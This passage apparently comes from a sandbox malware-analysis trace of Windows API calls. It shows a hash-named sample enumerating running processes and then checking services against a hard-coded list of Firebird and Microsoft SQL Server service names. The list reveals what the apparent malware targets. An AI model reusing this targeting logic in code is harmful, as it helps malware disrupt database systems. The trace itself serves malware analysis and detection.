returned 1 [0169.576] lstrlenW (lpString="svchost.exe") returned 11 [0169.576] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.576] lstrlenW (lpString="svchost.exe") returned 11 [0169.576] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.577] lstrlenW (lpString="svchost.exe") returned 11 [0169.577] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.577] lstrlenW (lpString="svchost.exe") returned 11 [0169.577] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.578] lstrlenW (lpString="svchost.exe") returned 11 [0169.578] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.578] lstrlenW (lpString="svchost.exe") returned 11 [0169.578] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.579] lstrlenW (lpString="spoolsv.exe") returned 11 [0169.579] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.579] lstrlenW (lpString="svchost.exe") returned 11 [0169.579] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.579] lstrlenW (lpString="audiodg.exe") returned 11 [0169.579] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0169.580] lstrlenW (lpString="sihost.exe") returned 10 [0169.580] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.580] lstrlenW (lpString="svchost.exe") returned 11 [0169.580] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0169.581] lstrlenW (lpString="taskhostw.exe") returned 13 [0169.581] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0169.581] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0169.581] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0169.581] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0169.582] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0169.582] lstrlenW (lpString="Memory Compression") returned 18 [0169.582] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.582] lstrlenW (lpString="explorer.exe") returned 12 [0169.582] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0169.583] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0169.583] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0169.583] lstrlenW (lpString="SearchUI.exe") returned 12 [0169.583] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0169.584] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0169.584] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0169.584] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0169.584] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0169.585] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0169.585] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0169.585] lstrlenW (lpString="cmd.exe") returned 7 [0169.585] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0169.585] lstrlenW (lpString="conhost.exe") returned 11 [0169.585] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0169.586] lstrlenW (lpString="consent.exe") returned 11 [0169.586] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0169.586] CloseHandle (hObject=0x4f4) returned 1 [0169.586] Sleep (dwMilliseconds=0x1f4) [0170.100] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dc68 [0170.100] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0170.101] GetLastError () returned 0xea [0170.101] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4171fb0 [0170.101] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4171fb0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4171fb0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0170.101] CloseServiceHandle (hSCObject=0x408dc68) returned 1 [0170.102] lstrlenW (lpString="Appinfo") returned 7 [0170.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0170.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0170.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0170.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0170.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0170.102] lstrlenW (lpString="AppXSvc") returned 7 [0170.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0170.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0170.102] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0170.102] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0170.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0170.102] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0170.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.102] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0170.102] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0170.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0170.102] lstrlenW (lpString="Audiosrv") returned 8 [0170.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0170.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0170.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0170.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0170.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0170.102] lstrlenW (lpString="BFE") returned 3 [0170.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0170.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0170.102] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0170.103] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0170.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0170.103] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0170.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0170.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0170.103] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0170.103] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0170.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0170.103] lstrlenW (lpString="CDPSvc") returned 6 [0170.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0170.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0170.103] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0170.103] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0170.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0170.103] lstrlenW (lpString="ClickToRunSvc") returned 13 [0170.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0170.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0170.103] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0170.103] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0170.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0170.103] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0170.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0170.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0170.103] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0170.103] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0170.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0170.103] lstrlenW (lpString="CryptSvc") returned 8 [0170.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0170.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0170.103] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0170.103] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0170.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0170.103] lstrlenW (lpString="DcomLaunch") returned 10 [0170.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.103] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0170.103] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0170.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0170.104] lstrlenW (lpString="DeviceAssociationService") returned 24 [0170.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0170.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0170.104] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0170.104] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0170.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0170.104] lstrlenW (lpString="Dhcp") returned 4 [0170.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0170.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0170.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0170.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0170.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0170.104] lstrlenW (lpString="Dnscache") returned 8 [0170.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0170.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0170.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0170.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0170.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0170.104] lstrlenW (lpString="DPS") returned 3 [0170.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0170.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0170.104] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0170.104] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0170.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0170.104] lstrlenW (lpString="DusmSvc") returned 7 [0170.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0170.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0170.104] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0170.104] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0170.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0170.104] lstrlenW (lpString="EventLog") returned 8 [0170.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0170.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0170.104] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0170.104] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0170.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0170.105] lstrlenW (lpString="EventSystem") returned 11 [0170.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0170.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0170.105] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0170.105] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0170.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0170.105] lstrlenW (lpString="FontCache") returned 9 [0170.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0170.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0170.105] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0170.105] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0170.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0170.105] lstrlenW (lpString="gpsvc") returned 5 [0170.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0170.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0170.105] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0170.105] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0170.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0170.105] lstrlenW (lpString="iphlpsvc") returned 8 [0170.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.105] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0170.105] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0170.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0170.105] lstrlenW (lpString="KeyIso") returned 6 [0170.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0170.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0170.105] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0170.105] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0170.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0170.105] lstrlenW (lpString="LanmanServer") returned 12 [0170.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0170.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0170.106] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0170.106] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0170.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0170.106] lstrlenW (lpString="LanmanWorkstation") returned 17 [0170.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.106] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0170.106] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0170.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0170.106] lstrlenW (lpString="lfsvc") returned 5 [0170.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0170.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0170.106] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0170.106] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0170.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0170.106] lstrlenW (lpString="lmhosts") returned 7 [0170.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0170.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0170.106] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0170.106] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0170.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0170.106] lstrlenW (lpString="LSM") returned 3 [0170.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0170.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0170.106] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0170.106] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0170.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0170.106] lstrlenW (lpString="MpsSvc") returned 6 [0170.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0170.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0170.106] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0170.106] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0170.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0170.106] lstrlenW (lpString="NcbService") returned 10 [0170.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0170.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0170.107] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0170.107] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0170.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0170.107] lstrlenW (lpString="netprofm") returned 8 [0170.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0170.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0170.107] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0170.107] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0170.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0170.107] lstrlenW (lpString="NgcSvc") returned 6 [0170.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0170.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0170.107] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0170.107] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0170.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0170.107] lstrlenW (lpString="NlaSvc") returned 6 [0170.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0170.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0170.107] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0170.107] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0170.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0170.107] lstrlenW (lpString="nsi") returned 3 [0170.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0170.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0170.107] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0170.107] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0170.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0170.107] lstrlenW (lpString="PcaSvc") returned 6 [0170.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0170.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0170.107] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0170.107] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0170.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0170.108] lstrlenW 